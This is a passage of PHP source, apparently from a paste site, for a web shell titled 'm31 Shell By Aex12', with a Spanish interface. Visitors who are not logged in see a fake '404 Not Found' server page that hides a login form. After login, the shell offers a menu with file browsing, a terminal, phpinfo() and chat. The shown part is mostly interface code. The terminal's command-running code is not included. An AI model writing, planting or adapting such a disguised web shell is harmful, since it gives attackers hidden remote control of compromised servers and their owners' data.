  811.       },
  812.       hide: {
  813.         effect: "explode",
  814.         duration: 400
  815.       }
  816.     });
  817.   });
  818. </script>
  819. <title>404 Not Found</title>
  820. <h1>Not Found</h1>
  821. <p>The requested URL <?php echo $_SERVER['PHP_SELF']; ?> was not found on this server.</p>
  822. <hr>
  823. <?php echo $_SERVER['SERVER_SIGNATURE'];  ?>
  824.  
  825. <div id="dialog" title="Acceso al shell">
  826.  <form name="formu1" method=POST action="">Usuario: <input type="text" name="user"><br>
  827.  Contraseña: <input type="password" name="pass"><br>
  828. <input type="submit" value="Acceder"></form>
  829. </div>
  830. </body></html>
  831. <?php } else { ?>
  832. <link rel="icon" type="image/png" href="http://i.imgur.com/vQEXqX0.png">
  833. <title>m31 Shell By Aex12</title>
  834. <link rel="stylesheet" href="<?php echo $bootstrapcss; ?>"/>
  835. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.core.css"/>
  836. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.default.css"/>
  837. <script src="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.min.js"></script>
  838. <script src="http://getbootstrap.com/2.3.2/assets/js/bootstrap-collapse.js"></script>
  839. <body style="<?php echo $body_style; ?>" background="<?php echo $background; ?>">
  840. <div class="container-fluid">
  841.   <div class="row-fluid">
  842.     <div class="span2">
  843. <script>
  844. var antiquepage = "Nothing";
  845. function page(page){
  846. $.get('?page='+page+"&ajaxpage=true", function(data) {
  847. $("#contenido_pagina").html(data);
  848. if(antiquepage != page){
  849. $("#nav_"+page).addClass("active");
  850. $("#nav_"+antiquepage).removeClass("active");
  851. antiquepage = page;
  852. }
  853. });
  854. }
  855.  
  856. function reload(){
  857. $.get('?reload=true&ajaxpage=true', function(data) {
  858. $("#contenido_pagina").html(data);
  859. });
  860. }
  861.  
  862. page('<?php echo $_SESSION["page"]; ?>');
  863.  
  864. $(document).bind('keydown', 'f5', function (evt) {
  865.        reload();
  866.        return false;
  867.     });
  868. </script>
  869. <div style="position: fixed">
  870. <?php if($logotipo=="arriba"){
  871. echo '<img src="http://i.imgur.com/wOolqv5.png">';
  872. } ?>
  873.  
  874.  <div class="accordion" id="accordion2">
  875.   <div class="accordion-group" style="background-color:<?php echo $accordion_color;?>; border-radius:<?php echo $menu_radio; ?>px;">
  876.     <div class="accordion-heading">
  877.       <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseOne">
  878.       [ Básico ]
  879.       </a>
  880.     </div>
  881.     <div id="collapseOne" class="accordion-body collapse in">
  882.       <div class="accordion-inner" style="background-color:<?php echo $nav_color;?>; border-bottom-right-radius:<?php echo $menu_radio; ?>px; border-bottom-left-radius:<?php echo $menu_radio; ?>px;">
  883.       <ul class="nav nav-list">
  884.   <?php add2menu("Archivos", "files"); ?>
  885.   <?php add2menu("Galería", "gallery"); ?>
  886.   </ul>
  887.    </div>
  888.     </div>
  889.   </div>
  890.   <div class="accordion-group" style="background-color:<?php echo $accordion_color;?>; border-radius:<?php echo $menu_radio; ?>px;">
  891.     <div class="accordion-heading">
  892.       <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseTwo">
  893.       [ Avanzado ]
  894.        </a>
  895.     </div>
  896.     <div id="collapseTwo" class="accordion-body collapse">
  897.       <div class="accordion-inner" style="background-color:<?php echo $nav_color;?>; border-bottom-right-radius:<?php echo $menu_radio; ?>px; border-bottom-left-radius:<?php echo $menu_radio; ?>px;">
  898.        <ul class="nav nav-list">
  899.   <?php add2menu("Terminal", "terminal");
  900.     add2menu("phpinfo()", "phpinfo"); ?>
  901.    
  902.   </ul>
  903.   </div>
  904.     </div>
  905.   </div>
  906.   <div class="accordion-group" style="background-color:<?php echo $accordion_color;?>; border-radius:<?php echo $menu_radio; ?>px;">
  907.     <div class="accordion-heading">
  908.       <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseThree">
  909.   [ Otros ]
  910.   </a>
  911.     </div>
  912.     <div id="collapseThree" class="accordion-body collapse">
  913.       <div class="accordion-inner" style="background-color:<?php echo $nav_color;?>; border-bottom-right-radius:<?php echo $menu_radio; ?>px; border-bottom-left-radius:<?php echo $menu_radio; ?>px;">
  914.   <ul class="nav nav-list">
  915.   <?php add2menu("Bienvenido", "welcome");
  916.     add2menu("Chat", "xat");
  917.     add2menu("Acerca de", "about"); ?>
  918.   <li><a href="?page=disconnect">+ Desconectar</a></li>
  919. </ul>
  920. </div>
  921.     </div>
  922.   </div>
  923. </div>
  924. <?php if($logotipo=="abajo"){
  925. echo '<img src="http://i.imgur.com/wOolqv5.png">';
  926. } ?>
  927.     </div>
  928.     </div>
  929.     <div class="span10" id="contenido_pagina">
  930.    
  931.     </div>
  932.   </div>
  933. </div>
  934. </body>
  935. <?php } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement